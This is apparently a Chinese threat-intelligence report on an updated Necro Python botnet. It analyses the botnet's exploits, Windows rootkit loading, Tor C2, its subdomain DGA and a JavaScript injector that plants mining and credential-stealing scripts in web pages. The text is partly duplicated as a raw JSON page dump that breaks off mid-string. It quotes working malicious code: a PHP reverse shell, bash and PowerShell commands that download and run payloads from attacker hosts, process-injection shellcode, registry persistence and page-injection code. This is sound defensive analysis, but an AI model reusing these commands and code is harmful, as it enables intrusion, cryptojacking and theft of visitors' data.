RaRdhjkniVY+="."+random.choice(['ddns.net','ddnsking.com','3utilities.com','bounceme.net','freedynamicdns.net','freedynamicdns.org','gotdns.ch','hopto.org','myddns.me','myftp.biz','myftp.org','myvnc.com','onthewifi.com','redirectme.net','servebeer.com','serveblog.net','servecounterstrike.com','serveftp.com','servegame.com','servehalflife.com','servehttp.com','serveirc.com','serveminecraft.net','servemp3.com','servepics.com','servequake.com','sytes.net','viewdns.net','webhop.me','zapto.org'])
print RaRdhjkniVY
我们监测到有9个域名已经启动，从解析记录看有些域名绑定了IPv6地址：
2021-03-09 10:50:50 2021-03-12 16:10:45 ntxkg0la99w.zapto.org
2021-03-12 08:19:49 2021-03-12 08:19:49 xxdqj6xbjpkzhk7k.servemp3.com
2021-03-12 10:35:11 2021-03-12 10:35:11 qb7opowcawiagia.viewdns.net
2021-03-12 08:46:28 2021-03-12 08:46:28 v5jke3mv89fjvxgd.serveftp.com
2021-03-12 14:59:54 2021-03-12 14:59:54 nwpzhm8ziyhdzm.redirectme.net
2021-03-12 03:12:07 2021-03-12 03:12:07 m1afommgsdowkmegc.redirectme.net
2021-03-12 04:56:47 2021-03-12 04:56:47 ewmhkvdcoj3.servemp3.com
2021-03-12 08:38:17 2021-03-12 08:38:17 tfcxvcg0lkc9vpx.myftp.org
2021-03-12 06:48:19 2021-03-12 06:48:19 bdcauhuzk0d.viewdns.net
JS挂马
Necro的挂马功能主要目的是在Web页面嵌入挖矿代码，这意味着当终端用户使用手机、PC或是其它设备浏览失陷设备（包括服务器和NAS设备）的相关Web页面时，可能沦为矿机并泄露敏感信息。
elif CjoRjhoMj[3]==":" + self.cmdprefix + 'injectcount':
self.commSock.send('PRIVMSG %s :I have injected into %s files total\n' % (MZqyBxdoS, self.AkvElneS))
elif CjoRjhoMj[3]==":" + self.cmdprefix + 'reinject':
threading.Thread(target=self.OLkEqimhli).start()
self.commSock.send('PRIVMSG %s :Re-injecting all html and js files\n' % (MZqyBxdoS))
Necro会先遍历被感染设备指定目录的'*.js', '*.html', '*.htm', '*.php'文件，寻找注入目标：
if os.name != "nt":
self.AkvElneS=0
for fkEoBpoAxpZc in [ele for ele in os.listdir("/") if ele not in ['proc', "bin", 'sbin', 'sbin', "dev", "lib", 'lib64', 'lost+found', "sys", 'boot', "etc"]]:
for hfHpWZSupopK in ['*.js', '*.html', '*.htm', '*.php']:
for oGADwYHVg in os.popen("find \"/" + fkEoBpoAxpZc + "\" -type f -name \"" + hfHpWZSupopK + "\"").read().split("\n"):
oGADwYHVg = oGADwYHVg.replace("\r", "").replace("\n", "")
if 'node' not in oGADwYHVg and 'lib' not in oGADwYHVg and "npm" not in oGADwYHVg and oGADwYHVg != "":
self.chLYewdc(oGADwYHVg)
一旦找到目标，Necro就会向文件中插入一段代码：
MnPbIqasMz=open(oGADwYHVg,"rb")
mkkzygnopRnB=MnPbIqasMz.read()
MnPbIqasMz.close()
fPSqTAZGgcep = kdYaxMPRdP(8)
OGipqKBSmmTb = kdYaxMPRdP(8)
hgOlaeQcQza = b64encode("//" + self.injectCOxhTEJfB + '/campaign.js')
fwEiSidxlgH='(function(' + OGipqKBSmmTb + ", " + fPSqTAZGgcep + ") {" + fPSqTAZGgcep + " = " + OGipqKBSmmTb + ".createElement('script');" + fPSqTAZGgcep + ".type = 'text/javascript';" + fPSqTAZGgcep + '.async = true;' + fPSqTAZGgcep + ".src = atob('" + IoMfNcaVcJL + hgOlaeQcQza + IoMfNcaVcJL + "'.replace(/" + IoMfNcaVcJL + "/gi, '')) + '?' + String(Math.random()).replace('0.','');" + OGipqKBSmmTb + ".getElementsByTagName('body')[0].appendChild(" + fPSqTAZGgcep + ');}(document));'
...
else:
if oGADwYHVg.endswith(".js"):
if 'var ' in mkkzygnopRnB:
mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, 'var ', fwEiSidxlgH + 'var ', 1)
self.AkvElneS+=1
wQARXUaaF = True
else:
if '</body' in mkkzygnopRnB:
mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, '</body', '<script type=' + '"' + 'text/javascript' + '"' + ">" + fwEiSidxlgH + '</script></body', 1)
self.AkvElneS+=1
wQARXUaaF = True
if wQARXUaaF:
MnPbIqasMz=open(oGADwYHVg, "wb")
被感染的页面会多出如下代码：
(function(v2, v1) {
v1 = v2.createElement('script');
v1.type = 'text/javascript';
v1.async = true;
v1.src = atob('UUIDLy91YmxvY2stcmVmZXJlci5kZXYvY2FtcGFpZ24uanM=UUID'.replace(/UUID/gi, '')) + '?' + String(Math.random()).replace('0.', '');
v2.getElementsByTagName('body')[0].appendChild(v1);
}(document));
这一小段代码会链接到一个脚本 hxxp[:]//ublock-referer.dev/campaign.js 。通过我们的WebInsight可以看到最近1周内有300+网站被Necro感染。
campaign.js 是一个高度混淆的javascript代码，在VT上的检测率为0：
代码使用了两层混淆，解码后发现它同样源自一个开源项目Cloud9，不同的是把原始版本的exploit功能去掉了，修改了部分代码的逻辑和接口名，加入了挖矿的功能。
修改后的Bot主要有三部分功能：
* 挖矿：所有访问失陷网站的用户，浏览器都会加载一个挖矿js脚本：hxxps[:]//cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.xmr2
* 用户信息窃取：代码会监控unload/beforeunload/popstate/pagehide 4个事件，然后通过如下两个接口上报数据
对应接口
功能
/l.php
上报键盘记录
/f.php
上报表单数据
* 执行指令：用户访问失陷网站的过程中，会通过 “/api.php” 接口上报一般性信息，并获取指令。一次可以获取多个指令，对应功能如下：
指令
功能
接口
cookie
上报cookie信息
/c.php
clipboard
上报剪切板信息
/cb.php
view
会通过加载iframe来实时加载任意链接内容
post
会向目标post指定内容
floodpost
会向目标周期性post指定内容用以达到DDoS的效果
load
会通过周期性添加Image对象并请求指定资源链接来达到DDoS效果
antiddos
会通过周期添加iframe，并在加载目标链接后添加随机数字串来和抗D对抗
layer4
会周期性向目标post指定长度范围的随机内容（DDoS）
jack
通过iframe来加载指定内容，并能指定大小，并设定根据窗口改变来调整位置
eval
通过eval方法来执行任意代码
md5/sha1
通过指定的长度范围和码表来进行hash爆破，成功后上报
/h.php
对应的C2还是hxxp[:]//ublock-referer.dev/，根据被攻陷的网站的协议做http/https兼容：
master = window["location"]["protocol"] + "//ublock-referer.dev";
APIKey = "callbackScript";
网址hxxps[:]//ublock-referer.dev还用来下载恶意的FireFox插件ublock_referer-1.0.0-an+fx.xpi，插件使用的代码正是上述Javascript Bot Cloud9。
代码混淆算法
新版Necro放弃了原来简单的变量名替换算法，自己实现了一个简单的基于抽象语法树AST的代码变形算法，实现了对象名称的全完随机化，且混淆的代码覆盖度更高，结果就是新版的Necro样本VT检出率为0。
dDojPSRD=open(ULTiBINyz,"rb")
CFiLMBZFoL=YuvmSyETZ=dDojPSRD.read()
dDojPSRD.close()
p = ast.parse(CFiLMBZFoL)
MiaFfQWZhb().visit(p)
for caSZxzOdnbhJ in sorted(mdSaCUFhqM, key=len, reverse=True):
...
EqDdlmuEhx = [node.name for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
joPNpGTbcn = sorted({node.id for node in ast.walk(p) if isinstance(node, ast.Name) and not isinstance(node.ctx, ast.Load)})
for mFVUeqoHs in [n for n in p.body if isinstance(n, ast.FunctionDef)]:
aPpaAZnhc.append(mFVUeqoHs.name)
EqDdlmuEhx = [node for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
for ubhohFYJDo in EqDdlmuEhx:
for mFVUeqoHs in [n for n in ubhohFYJDo.body if isinstance(n, ast.FunctionDef)]:
if mFVUeqoHs.name != '__init__' and mFVUeqoHs not in aPpaAZnhc:
aPpaAZnhc.append(mFVUeqoHs.name)
...
hkaxeZCocag=open(ULTiBINyz,"wb")
小结
从Necro被发现以来，我们就一直持续关注并跟踪这一僵尸网络，并关联到背后的KekSec团伙，发现了他们更多的攻击Linux设备的活动。未来我们会继续关注Necro及其团伙，有新的发现将及时公开。
IOC
* Tor C2
faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion
* Download URL
http://ntxkg0la99w.zapto.org/setup.py
http://kek.gay/benchmark.py
http://kek.gay/x86.dll
http://kek.gay/x64.dll
http://kek.gay/xmrig1.py
http://kek.gay/xmrig1
http://kek.gay/py.exe
* JS Miner/Bot 相关
https://cloud-miner.de/*
https://ublock-referer.dev/*
* Tor Proxy
77.238.128.166:9050
192.248.190.123:8017
192.248.190.123:8009
213.251.238.186:9050
178.62.242.15:9107
88.198.82.11:9051
52.3.115.71:9050
83.217.28.46:9050
147.135.208.44:9095
188.166.34.137:9000
103.233.206.22:179
161.97.71.22:9000
54.161.239.214:9050
194.5.178.150:666
144.91.74.241:9080
134.209.230.13:8080
201.40.122.152:9050
206.81.27.29:8080
127.0.0.1:9050
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"##版权\n版权声明：本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。"}],["markdown",{"markdown":"## 概述\n\n自从我们1月份公开[Necro](__GHOST_URL__/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/)后不久，它就停止了传播，但从3月2号开始，BotMon系统检测到Necro再次开始传播。蜜罐数据显示本次传播所用的漏洞除了之前的TerraMaster RCE（CVE_2020_35665）和Zend RCE (CVE-2021-3007)，又加入了两个较新的漏洞Laravel RCE (CVE-2021-3129)和WebLogic RCE (CVE-2020-14882)，蜜罐相关捕获记录如下图所示。"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/exp_scan_trend_20k-1.png"}],["markdown",{"markdown":"通过样本分析我们发现在沉寂一个月之后新版本的Necro有了较大改动，功能进一步加强，体现在：\n1. 开始攻击Windws系统，并在Windows平台上使用Rootkit隐藏自身。\n2. 更新了DGA机制，采用“子域名DGA+动态域名”的方法生成C2域名。\n3. C2通信支持Tor，同时加入了一种新的基于Tor的DDoS攻击方法。\n4. 能针对特定Linux目标传播[Gafgyt_tor](__GHOST_URL__/tor-bld/)。\n5. 能篡改受害机器上的Web服务页面，实现浏览器挖矿，窃取用户数据，并将失陷网站用户的浏览器变为bot打DDoS攻击、做hash爆破等。\n\n本月初我们公开过[Gafgyt_tor](__GHOST_URL__/tor-bld/)，并指出它与Necro来自同一团伙，即所谓的Keksec团伙。从时间上看，他们在Necro之后开始传播Gafgyt_tor，但也在同步更新Necro，增加新的特性，完整的功能如下图所示。"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/necro_attack_flow-1.png"}],["markdown",{"markdown":"值得说明的是，我们先后见过2种新版本的样本，分别采用Tor C2和“子域名DGA+动态域名”生成的C2域名，说明新版本也是在不断更新的,符合Necro作者一贯的风格：边分发边升级。下面我们分别从传播、C2通信和攻击等各个维度对新版样本进行分析。"}],["markdown",{"markdown":"## 样本分析\n\n\n### 扫描和传播\n\n* Laravel RCE (CVE-2021-3129)\n\n 该漏洞的exploit使用了反向shell的方式先下载一个bash脚本，如下图所示：\n\n ```python\n ZCgAMCXTa='php -r \\'$sock=fsockopen(\"'+self.YxqCRypO+'\",9999);$proc=proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);\\''\n ZCgAMCXTa=ZCgAMCXTa.replace('/', '\\/')\n ```\n\n 下载到的bash脚本功能如下：\n 1. 下载并执行另一个脚本`malware.sh`。\n 2. 下载并执行[Gafgyt_tor](__GHOST_URL__/tor-bld/)。\n 3. 下载并执行挖矿程序。\n \n 下面是我们捕获到一个bash脚本：\n ```\n wget http://kek.gay/malware.sh -O malware.sh\n sh malware.sh\n rm -f malware.sh\n cd /tmp || cd /home/$USER || cd /var/run || cd $(busybox find / -writable -readable -executable | head -n 1) || cd /mnt || cd / ;\n wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; busybox ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; chmod 777 IObeENwjx64; ./IObeENwjx64; rm -f IObeENwjx64\n ...\n export ARGS=\"-o 45.145.185.83:9050\"\n export LINE=\"[ ! -f /tmp/.apid ] && echo > /tmp/.apid;./.1/sshd $ARGS >> /dev/null;./.2/sshd $ARGS >> /dev/null &\"\n echo \"$LINE\" > ./.backup.sh\n curl http://45.145.185.83/xmrig1 -O\n wget http://45.145.185.83/xmrig1 -O xmrig1\n mkdir ./.1;mv -f xmrig1 ./.1/sshd\n ...\n chmod +x ./.backup.sh;\n sh ./.backup.sh &\n exit\n \n ```\n \n 其中malware.sh脚本用于下载并执行新版本的Necro，内容如下所示：\n \n ```\n #pkill -9 python\n wget http://45.144.225.96/benchmark.py -O benchmark.py\n python benchmark.py || python2 benchmark.py || python2.7 benchmark.py || /usr/bin/python benchmark.py || /usr/bin/ python2 benchmark.py || /usr/bin/ python2.7 benchmark.py\n ```\n \n\n* WebLogic RCE (CVE-2020-14882)\n \n\n 该漏洞有2个exploits,分别针对Linux和Windows系统。\n\n 1. 针对Linux系统的exploit使用了bash，它会同时下载并执行Necro（setup.py）和挖矿程序。\n\n ```bash\n cd /tmp||cd $(find / -writable -readable -executable | head -n 1);php -r \"file_put_contents(\\\\\".setup\\\\\", file_get_contents(\\\\\"http://DOMAIN/setup\\\\\"));\";curl http://DOMAIN/setup -O;wget http://DOMAIN/setup -O .setup;chmod 777 .setup;./.setup;php -r \"file_put_contents(\\\\\".setup.py\\\\\", file_get_contents(\\\\\"http://DOMAIN/setup.py\\\\\"));\";curl http://DOMAIN/setup.py -O;wget http://DOMAIN/setup.py -O .setup.py;chmod 777 .setup.py;./.setup||python2 .setup.py||python .setup.py||./setup.py;DIR=`pwd`;ARGS=\"-o DOMAIN:9050\";LINE=\"[ ! -f $DIR/.pidfile ] && echo > $DIR/.pidfile;$DIR/.1/sshd $ARGS||$DIR/.2/sshd $ARGS >> /dev/null||./sshd $ARGS >> /dev/null &\";cd $DIR;echo \"$LINE\" > $DIR/.backup.sh;curl http://DOMAIN/xmrig1 -O||wget http://DOMAIN/xmrig1 -O xmrig1;mkdir $DIR/.1;mv -f xmrig1 $DIR/.1/sshd;chmod 777 $DIR/.1/sshd;curl http://DOMAIN/xmrig -O||wget http://DOMAIN/xmrig -O xmrig;mkdir $DIR/.2;mv -f xmrig $DIR/.2/sshd;chmod 777 $DIR/.2/sshd;chmod +x $DIR/.backup.sh;$DIR/.backup.sh\n ```\n\n 2. 针对Windows平台的exploit使用了Powershell，它会先下载打包好的Pyhton2.7可执行环境（py.exe）,然后下载并执行Necro（setup.py）\n\n ```powershell\n \"@powershell -NoProfile -ExecutionPolicy unrestricted -Command \\\"(New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/py.exe', 'python.exe'); (New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/setup.py', 'setup.py');\\\" & .\\python.exe setup.py\n ```\n\n\n### 攻击Windows系统\n\n从上面的分析可知有些WebLogic服务器是运行在Windows操作系统上的，KekSec团伙显然对这些主机也很感兴趣。样本启动后如果检测到底层操作系统为Windows则会把py.exe复制到`USERPROFILE\\\\$6829.exe`，代码如下图所示：\n\n```python\nif os.name == 'nt':\n try:\n sys.argv[1]\n except IndexError:\n subprocess.Popen(GetCommandLine() + \" 1\", creationflags=8, close_fds=True)\n os.kill(os.getpid(),9)\n ehVfvaRFGMNE = CreateMutex(None, False, ehVfvaRFGMNE)\n if GetLastError() == ERROR_ALREADY_EXISTS:\n os.kill(os.getpid(),9)\n if os.path.abspath(sys.argv[0]).lower().endswith('.exe') and not os.path.abspath(sys.argv[0]).lower().endswith('$6829.exe'):\n try:\n shutil.copyfile(os.path.abspath(sys.argv[0]), os.getenv('USERPROFILE') + '\\\\$6829.exe')\n os.startfile(os.getenv('USERPROFILE') + '\\\\$6829.exe')\n os.kill(os.getpid(),9)\n except:\n pass\n else:\n\n```\n\n然后Necro会根据平台选择下载一个名为`x86.dll` 或 `x64.dll`的文件：\n\n```python\n try:\n shutil.copyfile(sys.executable, os.getenv('USERPROFILE') + '\\\\$6829.exe')\n except:\n pass\n try:\n if platform.architecture()[0].replace(\"bit\",\"\") == \"32\":\n eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x86.dll').read())\n else:\n eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x64.dll').read())\n threading.Thread(target=oFHPQFcppV, args=(eZazkoBSoXlO,)).start()\n except:\n pass\n```\n\n这个dll文件对应一个开源的Rootkit项目 [r77-rootkit](https://github.com/bytecode77/r77-rootkit)，根据项目描述它能全面隐藏特定进程：\n```\nr77 is a ring 3 Rootkit that hides following entities from all processes:\n\nFiles, directories, named pipes, scheduled tasks\nProcesses\nCPU usage\nRegistry keys & values\nTCP & UDP connections\nIt is compatible with Windows 7 and Windows 10 in both x64 and x86 editions.\n```\n\n\n\n接下来Necro会使用一段shellcode采用进程注入的方式加载这个rootkit，这段代码来自另一个开源项目[sRDI](https://github.com/monoxgas/sRDI/blob/master/Python/ShellcodeRDI.py)，shellcode的使用如下：\n\n```python\n # 把rootkit和shellcode组装在一起\n ...\n gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4)\n gwObVdGd += b'\\x00\\x00\\x00'\n gwObVdGd += b'\\x48\\x89\\xf4'\n gwObVdGd += b'\\x5e'\n gwObVdGd += b'\\xc3'\n if len(gwObVdGd) != ObianOdA:\n raise Exception('x64 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))\n return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyWo\n else:\n ...\n gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4) # Skip over the remainder of instructions\n gwObVdGd += b'\\x00\\x00\\x00'\n gwObVdGd += b'\\x83\\xc4\\x14'\n gwObVdGd += b'\\xc9'\n gwObVdGd += b'\\xc3'\n if len(gwObVdGd) != ObianOdA:\n raise Exception('x86 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))\n return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyW\n \n # 注入进程\n FfyiMaCpdR = windll.kernel32.OpenProcess(0x1F0FFF, False, UjyuiVGyhiD)\n if not FfyiMaCpdR:\n cJaQhosf -= 1\n return\n llvOMLUBC = windll.kernel32.VirtualAllocEx(FfyiMaCpdR, 0, len(eZazkoBSoXlO), 0x00001000, 0x40)\n windll.kernel32.WriteProcessMemory(FfyiMaCpdR, llvOMLUBC, eZazkoBSoXlO, len(eZazkoBSoXlO), 0)\n if not windll.kernel32.CreateRemoteThread(FfyiMaCpdR, None, 0, llvOMLUBC, 0, 0, 0):\n```\n\n\n最后Necro会注册自启动项到`SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run`:\n\n```python\n if os.name == 'nt':\n try:\n aReg = ConnectRegistry(None,HKEY_CURRENT_USER)\n aKey = OpenKey(aReg, r\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\", 0, KEY_WRITE)\n SetValueEx(aKey,'System explore',0, REG_SZ, os.getenv('USERPROFILE') + '\\\\$6829.exe ' + os.path.r)\n windll.kernel32.SetFileAttributesW(os.getenv('USERPROFILE') + '\\\\$6829.exe', FILE_ATTRIBUTE_HIDDEN)\n except:\n pass\n```\n\n\n\n### 使用Tor通信\n\n因为在[Gafgyt_tor](__GHOST_URL__/tor-bld/)中已经见过KekSec团伙使用Tor来隐藏真实C2，所以我们对新版的Necro支持Tor并不感到意外。令我们意外的是Necro居然集成了一种基于Tor代理DDoS攻击方法。\n\nTor C2通信代码如下，能看到其中集成了多个Tor代理的IP和端口。\n\n ```python\n try:\n import socks\n except:\n f=open('socks.py', \"w\")\n f.write(urllib2.urlopen('https://raw.githubusercontent.com/mikedougherty/SocksiPy/master/socks.py').read())\n f.close()\n try:\n import socks\n except:\n exit(1)\n try:\n os.remove('socks.py')\n os.remove('socks.pyc')\n except:\n pass\n server_list = ['192.248.190.123:8017', '192.248.190.123:8001', '88.198.82.11:9051', '52.3.115.71:9050', '185.117.154.207:443', '199.19.224.116:9050', '188.166.34.137:9000', '161.97.71.22:9000', '54.161.239.214:9050', '144.91.74.241:9080', '201.40.122.152:9050', '194.5.178.150:666', '83.217.28.46:9050', '8.210.163.246:60001', '35.192.111.58:9221', '127.0.0.1:9050']\n ...\n self.onionserver='faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion'\n self.AJEwioE='#freakyonionz'\n self.Ajiowfe='FUCKWHITEHATZ'\n ...\n \n ```\n\n \n\n新加入的DDoS攻击方法 `torflood`的代码如下：\n\n ```python\n elif CjoRjhoMj[3]==\":\" + self.cmdprefix + 'torflood':\n try:\n import socks\n except:\n ...\n self.commSock.send('PRIVMSG %s :Unable to initilize socks module.\\n' % (MZqyBxdoS))\n for i in range(0, int(CjoRjhoMj[7])):\n threading.Thread(target=self.XoReERalPae,args=(CjoRjhoMj[4],CjoRjhoMj[5],int(CjoRjhoMj[6]),)).start()\n self.commSock.send('PRIVMSG %s :Started Tor HTTP flood on URL: %s with %s threads\\n' % (MZqyBxdoS,CjoRjhoMj[4],CjoRjhoMj[7]))\n \n ```\n### 子域名DGA+动态域名\n\n新版Necro更新了DGA机制，采用DGA生成子域名，然后配合动态域名生成最终的C2域名。从代码里我们可以看到候选的动态域名服务高达30个。\n\n```python\nzMuBHdcdB=0\nwhile zMuBHdcdB < 0xcc:\n zMuBHdcdB+=1\n random.seed(a=0x7774DEAD + zMuBHdcdB)\n RaRdhjkniVY=(''.join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randrange(10,19)))).lower()\n RaRdhjkniVY+=\".\"+random.choice(['ddns.net','ddnsking.com','3utilities.com','bounceme.net','freedynamicdns.net','freedynamicdns.org','gotdns.ch','hopto.org','myddns.me','myftp.biz','myftp.org','myvnc.com','onthewifi.com','redirectme.net','servebeer.com','serveblog.net','servecounterstrike.com','serveftp.com','servegame.com','servehalflife.com','servehttp.com','serveirc.com','serveminecraft.net','servemp3.com','servepics.com','servequake.com','sytes.net','viewdns.net','webhop.me','zapto.org'])\n print RaRdhjkniVY\n```\n\n我们监测到有9个域名已经启动，从解析记录看有些域名绑定了IPv6地址：\n\n```\n2021-03-09 10:50:50 2021-03-12 16:10:45 ntxkg0la99w.zapto.org \n2021-03-12 08:19:49 2021-03-12 08:19:49 xxdqj6xbjpkzhk7k.servemp3.com \n2021-03-12 10:35:11 2021-03-12 10:35:11 qb7opowcawiagia.viewdns.net \n2021-03-12 08:46:28 2021-03-12 08:46:28 v5jke3mv89fjvxgd.serveftp.com \n2021-03-12 14:59:54 2021-03-12 14:59:54 nwpzhm8ziyhdzm.redirectme.net \n2021-03-12 03:12:07 2021-03-12 03:12:07 m1afommgsdowkmegc.redirectme.net \n2021-03-12 04:56:47 2021-03-12 04:56:47 ewmhkvdcoj3.servemp3.com \n2021-03-12 08:38:17 2021-03-12 08:38:17 tfcxvcg0lkc9vpx.myftp.org \n2021-03-12 06:48:19 2021-03-12 06:48:19 bdcauhuzk0d.viewdns.net \n```\n\n### JS挂马\n\nNecro的挂马功能主要目的是在Web页面嵌入挖矿代码，这意味着当终端用户使用手机、PC或是其它设备浏览失陷设备（包括服务器和NAS设备）的相关Web页面时，可能沦为矿机并泄露敏感信息。\n\n```\n elif CjoRjhoMj[3]==\":\" + self.cmdprefix + 'injectcount':\n self.commSock.send('PRIVMSG %s :I have injected into %s files total\\n' % (MZqyBxdoS, self.AkvElneS))\n elif CjoRjhoMj[3]==\":\" + self.cmdprefix + 'reinject':\n threading.Thread(target=self.OLkEqimhli).start()\n self.commSock.send('PRIVMSG %s :Re-injecting all html and js files\\n' % (MZqyBxdoS))\n```\n\nNecro会先遍历被感染设备指定目录的`'*.js', '*.html', '*.htm', '*.php'`文件，寻找注入目标：\n\n```\nif os.name != \"nt\":\n self.AkvElneS=0\n for fkEoBpoAxpZc in [ele for ele in os.listdir(\"/\") if ele not in ['proc', \"bin\", 'sbin', 'sbin', \"dev\", \"lib\", 'lib64', 'lost+found', \"sys\", 'boot', \"etc\"]]:\n for hfHpWZSupopK in ['*.js', '*.html', '*.htm', '*.php']:\n for oGADwYHVg in os.popen(\"find \\\"/\" + fkEoBpoAxpZc + \"\\\" -type f -name \\\"\" + hfHpWZSupopK + \"\\\"\").read().split(\"\\n\"):\n oGADwYHVg = oGADwYHVg.replace(\"\\r\", \"\").replace(\"\\n\", \"\")\n if 'node' not in oGADwYHVg and 'lib' not in oGADwYHVg and \"npm\" not in oGADwYHVg and oGADwYHVg != \"\":\n self.chLYewdc(oGADwYHVg)\n```\n\n一旦找到目标，Necro就会向文件中插入一段代码：\n\n```\nMnPbIqasMz=open(oGADwYHVg,\"rb\")\n mkkzygnopRnB=MnPbIqasMz.read()\n MnPbIqasMz.close()\n fPSqTAZGgcep = kdYaxMPRdP(8)\n OGipqKBSmmTb = kdYaxMPRdP(8)\n hgOlaeQcQza = b64encode(\"//\" + self.injectCOxhTEJfB + '/campaign.js')\n fwEiSidxlgH='(function(' + OGipqKBSmmTb + \", \" + fPSqTAZGgcep + \") {\" + fPSqTAZGgcep + \" = \" + OGipqKBSmmTb + \".createElement('script');\" + fPSqTAZGgcep + \".type = 'text/javascript';\" + fPSqTAZGgcep + '.async = true;' + fPSqTAZGgcep + \".src = atob('\" + IoMfNcaVcJL + hgOlaeQcQza + IoMfNcaVcJL + \"'.replace(/\" + IoMfNcaVcJL + \"/gi, '')) + '?' + String(Math.random()).replace('0.','');\" + OGipqKBSmmTb + \".getElementsByTagName('body')[0].appendChild(\" + fPSqTAZGgcep + ');}(document));'\n ...\n else:\n if oGADwYHVg.endswith(\".js\"):\n if 'var ' in mkkzygnopRnB:\n mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, 'var ', fwEiSidxlgH + 'var ', 1)\n self.AkvElneS+=1\n wQARXUaaF = True\n else:\n if '</body' in mkkzygnopRnB:\n mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, '</body', '<script type=' + '\"' + 'text/javascript' + '\"' + \">\" + fwEiSidxlgH + '</script></body', 1)\n self.AkvElneS+=1\n wQARXUaaF = True\n if wQARXUaaF:\n MnPbIqasMz=open(oGADwYHVg, \"wb\")\n```\n\n被感染的页面会多出如下代码：\n\n```\n(function(v2, v1) {\n v1 = v2.createElement('script');\n v1.type = 'text/javascript';\n v1.async = true;\n v1.src = atob('UUIDLy91YmxvY2stcmVmZXJlci5kZXYvY2FtcGFpZ24uanM=UUID'.replace(/UUID/gi, '')) + '?' + String(Math.random()).replace('0.', '');\n v2.getElementsByTagName('body')[0].appendChild(v1);\n}(document));\n```\n\n这一小段代码会链接到一个脚本 `hxxp[:]//ublock-referer.dev/campaign.js` 。通过我们的WebInsight可以看到最近1周内有300+网站被Necro感染。\n\n\n "}],["image",{"src":"__GHOST_URL__/content/images/2021/03/ttt-1.png"}],["markdown",{"markdown":"campaign.js 是一个高度混淆的javascript代码，在VT上的检测率为0："}],["image",{"src":"__GHOST_URL__/content/images/2021/03/campaign_js_vt_0detect.png"}],["markdown",{"markdown":"代码使用了两层混淆，解码后发现它同样源自一个开源项目[Cloud9](https://github.com/Antonio24/Cloud9/blob/master/campaign.js)，不同的是把原始版本的exploit功能去掉了，修改了部分代码的逻辑和接口名，加入了挖矿的功能。\n\n修改后的Bot主要有三部分功能：\n* 挖矿：所有访问失陷网站的用户，浏览器都会加载一个挖矿js脚本：`hxxps[:]//cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.xmr2`\n* 用户信息窃取：代码会监控`unload/beforeunload/popstate/pagehide` 4个事件，然后通过如下两个接口上报数据\n\n| 对应接口 | 功能 |\n| :-----| :---- |\n| /l.php | 上报键盘记录 |\n| /f.php | 上报表单数据 |\n\n* 执行指令：用户访问失陷网站的过程中，会通过 “/api.php” 接口上报一般性信息，并获取指令。一次可以获取多个指令，对应功能如下：\n\n| 指令 | 功能 | 接口 |\n| :-----| :---- | :----: |\n| cookie | 上报cookie信息 | /c.php |\n| clipboard | 上报剪切板信息 | /cb.php |\n| view | 会通过加载iframe来实时加载任意链接内容 | |\n| post | 会向目标post指定内容 | |\n| floodpost | 会向目标周期性post指定内容用以达到DDoS的效果 | |\n| load | 会通过周期性添加Image对象并请求指定资源链接来达到DDoS效果 | |\n| antiddos | 会通过周期添加iframe，并在加载目标链接后添加随机数字串来和抗D对抗 | |\n| layer4 | 会周期性向目标post指定长度范围的随机内容（DDoS） | |\n| jack | 通过iframe来加载指定内容，并能指定大小，并设定根据窗口改变来调整位置 | |\n| eval | 通过eval方法来执行任意代码 | |\n| md5/sha1 | 通过指定的长度范围和码表来进行hash爆破，成功后上报 | /h.php |\n||||\n\n \n对应的C2还是`hxxp[:]//ublock-referer.dev/`，根据被攻陷的网站的协议做http/https兼容：\n\n```\nmaster = window[\"location\"][\"protocol\"] + \"//ublock-referer.dev\";\nAPIKey = \"callbackScript\";\n```\n\n网址`hxxps[:]//ublock-referer.dev`还用来下载恶意的FireFox插件`ublock_referer-1.0.0-an+fx.xpi`，插件使用的代码正是上述Javascript Bot [Cloud9](https://github.com/Antonio24/Cloud9/blob/master/campaign.js)。"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/malware_firefox_addone.PNG"}],["markdown",{"markdown":"### 